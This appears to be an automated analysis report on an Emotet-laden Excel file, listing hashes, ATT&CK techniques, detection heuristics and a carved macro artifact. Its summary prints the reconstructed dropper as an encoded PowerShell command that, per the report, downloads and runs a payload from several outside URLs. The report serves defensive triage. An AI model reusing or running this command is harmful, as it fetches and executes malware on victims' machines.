Emotet Office (OLE) / .XLSX malware analysis — malicious · fa63346a311de796

MALICIOUS

Office (OLE) / .XLSX

151.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: 86ea0c1244635d18406fdc906290f64e SHA-1: b7c513c48b416a879fae54b62658dcfa0978c85e SHA-256: fa63346a311de79641eb48c1ed82b9486655f6b739cf6802e4c62711f59587a8

280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File

The file contains VBA macros, specifically a Workbook_Open auto-execution routine, which is a common delivery mechanism for Emotet. The script constructs and executes a PowerShell command that downloads and executes a batch file from multiple URLs. The reconstructed PowerShell command is: 'powershell -e JABqAGUAbwBsAGkAYwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwAHMAOgAvAC8AcwB0AG8AcgBlAC4AdQB4AGQAdQBtAG0AaQ B0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBWAEYAZwBCAFMAUQBhADcASgAvACwAaAB0AHAAcwA6AC8ALwBnAGwAbwB3AHIAZQBuAHQAYQBsAHM ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGYAMQBlAHoAZQBBAEsARwBUAG4AUwA2AEkALwAsAGgAdAB0AHAAOgAvAC8AYwBhAG4AZABpAHMAZQAuAGIAaQBtAG4AdABlAHIAYwB0AGkAdgBlAGcAcgBvAHUAcAAuAGMAbwBtAC8AMQBnADkANABuAGcAbwAvADIAbgA3AHcASgBvAFAAdQBQAEQARQBhAG4AUABjAFgALwAsAGgAdAB0AHAAOgAvAC8AYgBhAGMAaABpAGwAbABlAHIAYQB0AG8AcABvAHIAYwBpAGMAbABvAHMALgBvAHIAZwAv'. This PowerShell command is responsible for downloading and executing the payload. The ClamAV detection also strongly suggests Emotet.

Heuristics 7

ClamAV: Doc.Downloader.EmotetExcel02222-9938901-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02222-9938901-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	12041 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

Open this report in the interactive analyzer, or submit your own file for analysis.